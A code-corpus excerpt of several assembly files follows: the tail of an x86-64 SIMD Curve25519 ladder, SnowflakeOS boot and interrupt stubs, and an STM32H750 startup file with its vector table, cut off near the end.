368(%rsp),%xmm8,%xmm2 paddq %xmm2,%xmm3 vpmuludq %xmm8,%xmm14,%xmm2 paddq %xmm2,%xmm12 vpmuludq %xmm8,%xmm8,%xmm2 paddq %xmm2,%xmm13 vpaddq %xmm8,%xmm8,%xmm2 vpmuludq 400(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm5 vpmuludq 256(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm9 vpmuludq 304(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm10 vpmuludq 368(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm1 movdqa 256(%rsp),%xmm4 pmuludq 400(%rsp),%xmm4 paddq %xmm4,%xmm7 vpmuludq 256(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm13 vpmuludq 304(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm0 vpmuludq 352(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm11 vpmuludq 336(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm12 movdqa 304(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 400(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 320(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 movdqa 256(%rsp),%xmm4 pmuludq 320(%rsp),%xmm4 paddq %xmm4,%xmm3 movdqa 256(%rsp),%xmm4 pmuludq 368(%rsp),%xmm4 paddq %xmm4,%xmm5 movdqa 304(%rsp),%xmm4 pmuludq 368(%rsp),%xmm4 paddq %xmm4,%xmm7 movdqa 352(%rsp),%xmm4 pmuludq 400(%rsp),%xmm4 paddq %xmm4,%xmm10 vpmuludq 224(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 movdqa 272(%rsp),%xmm2 pmuludq 224(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 320(%rsp),%xmm2 pmuludq 304(%rsp),%xmm2 paddq %xmm2,%xmm5 movdqa 368(%rsp),%xmm2 pmuludq 288(%rsp),%xmm2 paddq %xmm2,%xmm9 movdqa 400(%rsp),%xmm2 pmuludq 336(%rsp),%xmm2 paddq %xmm2,%xmm11 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm3,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm3 vpsrlq $26,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm7 pand m26(%rip),%xmm5 vpsrlq $25,%xmm12,%xmm2 paddq %xmm2,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm7,%xmm2 paddq %xmm2,%xmm9 pand m25(%rip),%xmm7 vpsrlq $26,%xmm13,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm0,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm1 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm1 pand m25(%rip),%xmm0 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpunpckhqdq %xmm3,%xmm1,%xmm2 vpunpcklqdq %xmm3,%xmm1,%xmm1 movdqa %xmm1,176(%rsp) vpaddq subc0(%rip),%xmm2,%xmm3 psubq %xmm1,%xmm3 vpunpckhqdq %xmm3,%xmm2,%xmm1 vpunpcklqdq %xmm3,%xmm2,%xmm2 movdqa %xmm2,192(%rsp) movdqa %xmm1,224(%rsp) psllq $1,%xmm1 movdqa %xmm1,240(%rsp) pmuludq v121666_121666(%rip),%xmm3 movdqa 80(%rsp),%xmm1 vpunpcklqdq %xmm1,%xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm3,%xmm1 vpunpckhqdq %xmm7,%xmm5,%xmm3 vpunpcklqdq %xmm7,%xmm5,%xmm4 movdqa %xmm4,256(%rsp) vpaddq subc2(%rip),%xmm3,%xmm5 psubq %xmm4,%xmm5 vpunpckhqdq %xmm5,%xmm3,%xmm4 vpunpcklqdq %xmm5,%xmm3,%xmm3 movdqa %xmm3,272(%rsp) movdqa %xmm4,288(%rsp) psllq $1,%xmm4 movdqa %xmm4,304(%rsp) pmuludq v121666_121666(%rip),%xmm5 movdqa 96(%rsp),%xmm3 vpunpcklqdq %xmm3,%xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm5,%xmm3 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm6 movdqa %xmm6,320(%rsp) vpaddq subc2(%rip),%xmm5,%xmm7 psubq %xmm6,%xmm7 vpunpckhqdq %xmm7,%xmm5,%xmm6 vpunpcklqdq %xmm7,%xmm5,%xmm5 movdqa %xmm5,336(%rsp) movdqa %xmm6,352(%rsp) psllq $1,%xmm6 movdqa %xmm6,368(%rsp) pmuludq v121666_121666(%rip),%xmm7 movdqa 112(%rsp),%xmm5 vpunpcklqdq %xmm5,%xmm7,%xmm6 vpunpckhqdq %xmm5,%xmm7,%xmm5 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm8 movdqa %xmm8,384(%rsp) vpaddq subc2(%rip),%xmm7,%xmm9 psubq %xmm8,%xmm9 vpunpckhqdq %xmm9,%xmm7,%xmm8 vpunpcklqdq %xmm9,%xmm7,%xmm7 movdqa %xmm7,400(%rsp) movdqa %xmm8,416(%rsp) psllq $1,%xmm8 movdqa %xmm8,432(%rsp) pmuludq v121666_121666(%rip),%xmm9 movdqa 160(%rsp),%xmm7 vpunpcklqdq %xmm7,%xmm9,%xmm8 vpunpckhqdq %xmm7,%xmm9,%xmm7 vpunpckhqdq %xmm0,%xmm13,%xmm9 vpunpcklqdq %xmm0,%xmm13,%xmm0 movdqa %xmm0,160(%rsp) vpaddq subc2(%rip),%xmm9,%xmm10 psubq %xmm0,%xmm10 vpunpckhqdq %xmm10,%xmm9,%xmm0 vpunpcklqdq %xmm10,%xmm9,%xmm9 movdqa %xmm9,448(%rsp) movdqa %xmm0,464(%rsp) psllq $1,%xmm0 movdqa %xmm0,480(%rsp) pmuludq v121666_121666(%rip),%xmm10 movdqa 208(%rsp),%xmm0 vpunpcklqdq %xmm0,%xmm10,%xmm9 vpunpckhqdq %xmm0,%xmm10,%xmm0 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $25,%xmm1,%xmm10 paddq %xmm10,%xmm4 pand m25(%rip),%xmm1 vpsrlq $26,%xmm8,%xmm10 paddq %xmm10,%xmm7 pand m26(%rip),%xmm8 vpsrlq $26,%xmm4,%xmm10 paddq %xmm10,%xmm3 pand m26(%rip),%xmm4 vpsrlq $25,%xmm7,%xmm10 paddq %xmm10,%xmm9 pand m25(%rip),%xmm7 vpsrlq $25,%xmm3,%xmm10 paddq %xmm10,%xmm6 pand m25(%rip),%xmm3 vpsrlq $26,%xmm9,%xmm10 paddq %xmm10,%xmm0 pand m26(%rip),%xmm9 vpsrlq $26,%xmm6,%xmm10 paddq %xmm10,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm0,%xmm10 vpsllq $4,%xmm10,%xmm11 paddq %xmm10,%xmm2 psllq $1,%xmm10 paddq %xmm10,%xmm11 paddq %xmm11,%xmm2 pand m25(%rip),%xmm0 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm10 movdqa %xmm10,80(%rsp) vpunpcklqdq %xmm1,%xmm2,%xmm1 vpunpckhqdq %xmm3,%xmm4,%xmm2 movdqa %xmm2,96(%rsp) vpunpcklqdq %xmm3,%xmm4,%xmm2 vpunpckhqdq %xmm5,%xmm6,%xmm3 movdqa %xmm3,112(%rsp) vpunpcklqdq %xmm5,%xmm6,%xmm3 vpunpckhqdq %xmm7,%xmm8,%xmm4 movdqa %xmm4,128(%rsp) vpunpcklqdq %xmm7,%xmm8,%xmm4 vpunpckhqdq %xmm0,%xmm9,%xmm5 movdqa %xmm5,144(%rsp) vpunpcklqdq %xmm0,%xmm9,%xmm0 movdqa 176(%rsp),%xmm5 paddq %xmm5,%xmm1 vpunpcklqdq %xmm1,%xmm5,%xmm6 vpunpckhqdq %xmm1,%xmm5,%xmm1 vpmuludq 224(%rsp),%xmm6,%xmm5 vpmuludq 192(%rsp),%xmm1,%xmm7 paddq %xmm7,%xmm5 vpmuludq 272(%rsp),%xmm6,%xmm7 vpmuludq 240(%rsp),%xmm1,%xmm8 paddq %xmm8,%xmm7 vpmuludq 288(%rsp),%xmm6,%xmm8 vpmuludq 272(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm8 vpmuludq 336(%rsp),%xmm6,%xmm9 vpmuludq 304(%rsp),%xmm1,%xmm10 paddq %xmm10,%xmm9 vpmuludq 352(%rsp),%xmm6,%xmm10 vpmuludq 336(%rsp),%xmm1,%xmm11 paddq %xmm11,%xmm10 vpmuludq 400(%rsp),%xmm6,%xmm11 vpmuludq 368(%rsp),%xmm1,%xmm12 paddq %xmm12,%xmm11 vpmuludq 416(%rsp),%xmm6,%xmm12 vpmuludq 400(%rsp),%xmm1,%xmm13 paddq %xmm13,%xmm12 vpmuludq 448(%rsp),%xmm6,%xmm13 vpmuludq 432(%rsp),%xmm1,%xmm14 paddq %xmm14,%xmm13 vpmuludq 464(%rsp),%xmm6,%xmm14 vpmuludq 448(%rsp),%xmm1,%xmm15 paddq %xmm15,%xmm14 vpmuludq 192(%rsp),%xmm6,%xmm6 pmuludq v19_19(%rip),%xmm1 vpmuludq 480(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm6 movdqa 256(%rsp),%xmm1 paddq %xmm1,%xmm2 vpunpcklqdq %xmm2,%xmm1,%xmm15 vpunpckhqdq %xmm2,%xmm1,%xmm1 vpmuludq 192(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm7 vpmuludq 224(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm8 vpmuludq 272(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm9 vpmuludq 288(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm10 vpmuludq 336(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm11 vpmuludq 352(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm12 vpmuludq 400(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm13 vpmuludq 416(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm15 vpmuludq 448(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm6 pmuludq 464(%rsp),%xmm15 paddq %xmm15,%xmm5 vpmuludq 192(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 240(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 272(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 304(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 336(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 368(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 400(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 432(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 448(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 pmuludq 480(%rsp),%xmm1 paddq %xmm1,%xmm7 movdqa 320(%rsp),%xmm1 paddq %xmm1,%xmm3 vpunpcklqdq %xmm3,%xmm1,%xmm2 vpunpckhqdq %xmm3,%xmm1,%xmm1 vpmuludq 192(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 vpmuludq 224(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm10 vpmuludq 272(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 288(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 336(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 352(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 400(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 416(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm5 vpmuludq 448(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 pmuludq 464(%rsp),%xmm2 paddq %xmm2,%xmm8 vpmuludq 192(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 240(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 272(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 304(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 336(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 368(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 400(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 432(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 448(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 pmuludq 480(%rsp),%xmm1 paddq %xmm1,%xmm9 movdqa 384(%rsp),%xmm1 paddq %xmm1,%xmm4 vpunpcklqdq %xmm4,%xmm1,%xmm2 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpmuludq 192(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 224(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 272(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 288(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 336(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 352(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm5 vpmuludq 400(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 vpmuludq 416(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm8 vpmuludq 448(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 pmuludq 464(%rsp),%xmm2 paddq %xmm2,%xmm10 vpmuludq 192(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 240(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 272(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 304(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 336(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 368(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 400(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 432(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 448(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 pmuludq 480(%rsp),%xmm1 paddq %xmm1,%xmm11 movdqa 160(%rsp),%xmm1 paddq %xmm1,%xmm0 vpunpcklqdq %xmm0,%xmm1,%xmm2 vpunpckhqdq %xmm0,%xmm1,%xmm0 vpmuludq 192(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm13 vpmuludq 224(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 272(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm6 vpmuludq 288(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm5 vpmuludq 336(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm7 vpmuludq 352(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm8 vpmuludq 400(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm9 vpmuludq 416(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm10 vpmuludq 448(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm11 pmuludq 464(%rsp),%xmm2 paddq %xmm2,%xmm12 vpmuludq 192(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm0 vpmuludq 240(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm6 vpmuludq 272(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm5 vpmuludq 304(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm7 vpmuludq 336(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm8 vpmuludq 368(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm9 vpmuludq 400(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm10 vpmuludq 432(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm11 vpmuludq 448(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm12 pmuludq 480(%rsp),%xmm0 paddq %xmm0,%xmm13 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm5,%xmm0 paddq %xmm0,%xmm7 pand m25(%rip),%xmm5 vpsrlq $26,%xmm11,%xmm0 paddq %xmm0,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm7,%xmm0 paddq %xmm0,%xmm8 pand m26(%rip),%xmm7 vpsrlq $25,%xmm12,%xmm0 paddq %xmm0,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm8,%xmm0 paddq %xmm0,%xmm9 pand m25(%rip),%xmm8 vpsrlq $26,%xmm13,%xmm0 paddq %xmm0,%xmm14 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm0 paddq %xmm0,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm14,%xmm0 vpsllq $4,%xmm0,%xmm1 paddq %xmm0,%xmm6 psllq $1,%xmm0 paddq %xmm0,%xmm1 paddq %xmm1,%xmm6 pand m25(%rip),%xmm14 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpunpckhqdq %xmm5,%xmm6,%xmm1 vpunpcklqdq %xmm5,%xmm6,%xmm0 vpunpckhqdq %xmm8,%xmm7,%xmm3 vpunpcklqdq %xmm8,%xmm7,%xmm2 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm4 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm6 vpunpckhqdq %xmm14,%xmm13,%xmm9 vpunpcklqdq %xmm14,%xmm13,%xmm8 cmp $0,%rdx jne ._ladder_base_loop movdqu %xmm1,80(%rdi) movdqu %xmm0,0(%rdi) movdqu %xmm3,96(%rdi) movdqu %xmm2,16(%rdi) movdqu %xmm5,112(%rdi) movdqu %xmm4,32(%rdi) movdqu %xmm7,128(%rdi) movdqu %xmm6,48(%rdi) movdqu %xmm9,144(%rdi) movdqu %xmm8,64(%rdi) movq 1536(%rsp),%r11 movq 1544(%rsp),%r12 movq 1552(%rsp),%r13 add %r11,%rsp ret #endif
29jm/SnowflakeOS	2,413	kernel/src/boot/boot.S	# Relevant multiboot2 documentation: # https://www.gnu.org/software/grub/manual/multiboot2/multiboot.html # Multiboot tags .set TAG_END, 0 .set TAG_FRAMEBUFFER, 5 # Multiboot flags .set TAG_REQUIRED, 0 .set TAG_OPTIONAL, 1 # Multiboot2 header constants .set MAGIC, 0xE85250D6 .set ARCH, 0 .set HEADER_LEN, (multiboot_end - multiboot_start) .set CHECKSUM, -(MAGIC + ARCH + HEADER_LEN) .set KERNEL_VIRTUAL_BASE, 0xC0000000 .set KERNEL_PAGE_NUMBER, (KERNEL_VIRTUAL_BASE >> 22) # Multiboot header .section .multiboot multiboot_start: # Magic .align 8 .long MAGIC .long ARCH .long HEADER_LEN .long CHECKSUM # Graphics tag .align 8 .short TAG_FRAMEBUFFER .short TAG_REQUIRED .long 20 .long 1024 .long 768 .long 32 # End tag .align 8 .short TAG_END .short TAG_REQUIRED .long 8 multiboot_end: # Reserve a stack for the initial thread. .section .bootstrap_stack, "aw", @nobits stack_bottom: .skip 16384 # 16 KiB stack_top: .section .data # Initial mapping: we identity map a lot of memory because GRUB seems to like # multiboot2 information really high for some reason. .global kernel_directory kernel_directory: .align 0x1000 .long 0x00000083 # 4 MiB pages .long 0x00400083 .long 0x00800083 .long 0x00C00083 .fill (KERNEL_PAGE_NUMBER - 4), 4, 0 .long 0x00000083 .fill (1024 - KERNEL_PAGE_NUMBER - 1), 4, 0 # The kernel entry point. .section .text .global _start .type _start, @function _start: mov $(kernel_directory - KERNEL_VIRTUAL_BASE), %ecx mov %ecx, %cr3 # Enable PSE for 4 MiB pages mov %cr4, %ecx or $0x00000010, %ecx mov %ecx, %cr4 mov %cr0, %ecx or $0x80000000, %ecx mov %ecx, %cr0 lea _start_higher_half, %ecx jmp *%ecx _start_higher_half: # movl $0, boot_page_directory # invlpg 0 movl $stack_top, %esp mov $0, %ebp # stop stacktraces here # Transfer control to the main kernel. # Pass the multiboot header adress and magic number, # See https://www.gnu.org/software/grub/manual/multiboot/html_node/Machine-state.html pushl %eax pushl %ebx cli # disable until we setup handlers call kernel_main add $12, %esp # cleanup the stack. useless here # Hang if kernel_main unexpectedly returns. cli .hang: hlt jmp .hang
29jm/SnowflakeOS	1,816	kernel/src/cpu/asm/isr.S	.section .text .align 4 # Only interrupts 8, 10, 11, 12, 13, 14 and 17 push an error code, so we # compensate by pushing 0 for other interrupts. # This allows reusing the same structure for all interrupts in kernel code. # Note: interrupts are disabled on call, see the flags in `idt.h` # Note: when called, the calling `eflags`, `cs` and `eip` are already on the stack .macro ISR_NOERR num .global isr\num isr\num: push $0 push $\num jmp isr_common_handler .endm .macro ISR_ERR num .global isr\num isr\num: push $\num jmp isr_common_handler .endm ISR_NOERR 0 ISR_NOERR 1 ISR_NOERR 2 ISR_NOERR 3 ISR_NOERR 4 ISR_NOERR 5 ISR_NOERR 6 ISR_NOERR 7 ISR_ERR 8 ISR_NOERR 9 ISR_ERR 10 ISR_ERR 11 ISR_ERR 12 ISR_ERR 13 ISR_ERR 14 ISR_NOERR 15 ISR_NOERR 16 ISR_ERR 17 ISR_NOERR 18 ISR_NOERR 19 ISR_NOERR 20 ISR_NOERR 21 ISR_NOERR 22 ISR_NOERR 23 ISR_NOERR 24 ISR_NOERR 25 ISR_NOERR 26 ISR_NOERR 27 ISR_NOERR 28 ISR_NOERR 29 ISR_ERR 30 ISR_NOERR 31 ISR_NOERR 48 # Syscall .extern isr_handler # void isr_handler(registers_t* regs) .type isr_handler, @function isr_common_handler: # Save and push registers and data segments pusha push %ds push %es push %fs push %gs # Load kernel data segments (cs is already loaded by the interrupt) # in case we were running in usermode mov $0x10, %ax mov %ax, %ds mov %ax, %es mov %ax, %fs mov %ax, %gs push %esp # `registers_t` pointer call isr_handler add $4, %esp # Restore registers and data segments pop %gs pop %fs pop %es pop %ds popa # Pop our error code and interrupt number add $8, %esp # Return to whatever was interrupted # This will load the previous code segment, `eip` and `eflags` iret
32blit/32blit-sdk	28,130	32blit-stm32/startup_stm32h750xx.s	/* ****************************************************************************** * @file startup_stm32h750xx.s * @author MCD Application Team * @brief STM32H750xx Devices vector table for GCC based toolchain. * This module performs: * - Set the initial SP * - Set the initial PC == Reset_Handler, * - Set the vector table entries with the exceptions ISR address * - Branches to main in the C library (which eventually * calls main()). * After Reset the Cortex-M processor is in Thread mode, * priority is Privileged, and the Stack is set to Main. ****************************************************************************** * @attention * * <h2><center>© Copyright (c) 2018 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** / .syntax unified .cpu cortex-m7 .fpu softvfp .thumb .global g_pfnVectors .global Default_Handler // start address for the initialization values of the .data section. // defined in linker script .word _sidata // start address for the .data section. defined in linker script .word _sdata // end address for the .data section. defined in linker script .word _edata // start address for the .bss section. defined in linker script .word _sbss // end address for the .bss section. defined in linker script .word _ebss // stack used for SystemInit_ExtMemCtl; always internal RAM used / * @brief This is the code that gets called when the processor first * starts execution following a reset event. Only the absolutely * necessary set is performed, after which the application * supplied main() routine is called. * @param None * @retval : None / .section .text.Reset_Handler .weak Reset_Handler .type Reset_Handler, %function Reset_Handler: ldr sp, =_estack // set stack pointer // Copy the data segment initializers from flash to SRAM movs r1, #0 b LoopCopyDataInit CopyDataInit: ldr r3, =_sidata ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyDataInit: ldr r0, =_sdata ldr r3, =_edata adds r2, r0, r1 cmp r2, r3 bcc CopyDataInit // Copy ITCM movs r1, #0 b LoopCopyITCMInit CopyITCMInit: ldr r3, =itcm_data ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyITCMInit: ldr r0, =itcm_text_start ldr r3, =itcm_text_end adds r2, r0, r1 cmp r2, r3 bcc CopyITCMInit // check for magic number and branch to DFuSe ldr r0, =0x2001FFFC // Magic RAM location for sekret reboot key ldr r1, =0xCAFEBABE // Sekret reboot key value ldr r2, [r0, #0] cmp r1, r2 bne RegularBoot str r0, [r0, #0] // clear memory location to invalidate key (and prevent reboot loop into DFuSe) ldr r1, =0xe000ed00 // SCB ldr r0, =0x1ff09800 // ROM Base str r0, [r1, #8] // VTOR ldr sp, [r0, #0] // ROM Load stack pointer ldr r0, [r0, #4] // ROM program counter bx r0 // Branch and exchange to ROM base (start of DFU firmware) RegularBoot: // Call the clock system intitialization function. bl SystemInit ldr r2, =_sbss b LoopFillZerobss // Zero fill the bss segment. FillZerobss: movs r3, #0 str r3, [r2], #4 LoopFillZerobss: ldr r3, = _ebss cmp r2, r3 bcc FillZerobss // Call static constructors bl __libc_init_array // Call the application's entry point. bl main bx lr .size Reset_Handler, .-Reset_Handler / * @brief This is the code that gets called when the processor receives an * unexpected interrupt. This simply enters an infinite loop, preserving * the system state for examination by a debugger. * @param None * @retval None / .section .text.Default_Handler,"ax",%progbits Default_Handler: Infinite_Loop: b Infinite_Loop .size Default_Handler, .-Default_Handler /**************************************************************************** * * The minimal vector table for a Cortex M. Note that the proper constructs * must be placed on this to ensure that it ends up at physical address * 0x0000.0000. * *****************************************************************************/ .section .isr_vector,"a",%progbits .type g_pfnVectors, %object .size g_pfnVectors, .-g_pfnVectors g_pfnVectors: .word _estack .word Reset_Handler .word NMI_Handler .word HardFault_Handler .word MemManage_Handler .word BusFault_Handler .word UsageFault_Handler .word 0 .word 0 .word 0 .word 0 .word SVC_Handler .word DebugMon_Handler .word 0 .word PendSV_Handler .word SysTick_Handler // External Interrupts .word WWDG_IRQHandler // Window WatchDog .word PVD_AVD_IRQHandler // PVD/AVD through EXTI Line detection .word TAMP_STAMP_IRQHandler // Tamper and TimeStamps through the EXTI line .word RTC_WKUP_IRQHandler // RTC Wakeup through the EXTI line .word FLASH_IRQHandler // FLASH .word RCC_IRQHandler // RCC .word EXTI0_IRQHandler // EXTI Line0 .word EXTI1_IRQHandler // EXTI Line1 .word EXTI2_IRQHandler // EXTI Line2 .word EXTI3_IRQHandler // EXTI Line3 .word EXTI4_IRQHandler // EXTI Line4 .word DMA1_Stream0_IRQHandler // DMA1 Stream 0 .word DMA1_Stream1_IRQHandler // DMA1 Stream 1 .word DMA1_Stream2_IRQHandler // DMA1 Stream 2 .word DMA1_Stream3_IRQHandler // DMA1 Stream 3 .word DMA1_Stream4_IRQHandler // DMA1 Stream 4 .word DMA1_Stream5_IRQHandler // DMA1 Stream 5 .word DMA1_Stream6_IRQHandler // DMA1 Stream 6 .word ADC_IRQHandler // ADC1, ADC2 and ADC3s .word FDCAN1_IT0_IRQHandler // FDCAN1 interrupt line 0 .word FDCAN2_IT0_IRQHandler // FDCAN2 interrupt line 0 .word FDCAN1_IT1_IRQHandler // FDCAN1 interrupt line 1 .word FDCAN2_IT1_IRQHandler // FDCAN2 interrupt line 1 .word EXTI9_5_IRQHandler // External Line[9:5]s .word TIM1_BRK_IRQHandler // TIM1 Break interrupt .word TIM1_UP_IRQHandler // TIM1 Update interrupt .word TIM1_TRG_COM_IRQHandler // TIM1 Trigger and Commutation interrupt .word TIM1_CC_IRQHandler // TIM1 Capture Compare .word TIM2_IRQHandler // TIM2 .word TIM3_IRQHandler // TIM3 .word TIM4_IRQHandler // TIM4 .word I2C1_EV_IRQHandler // I2C1 Event .word I2C1_ER_IRQHandler // I2C1 Error .word I2C2_EV_IRQHandler // I2C2 Event .word I2C2_ER_IRQHandler // I2C2 Error .word SPI1_IRQHandler // SPI1 .word SPI2_IRQHandler // SPI2 .word USART1_IRQHandler // USART1 .word USART2_IRQHandler // USART2 .word USART3_IRQHandler // USART3 .word 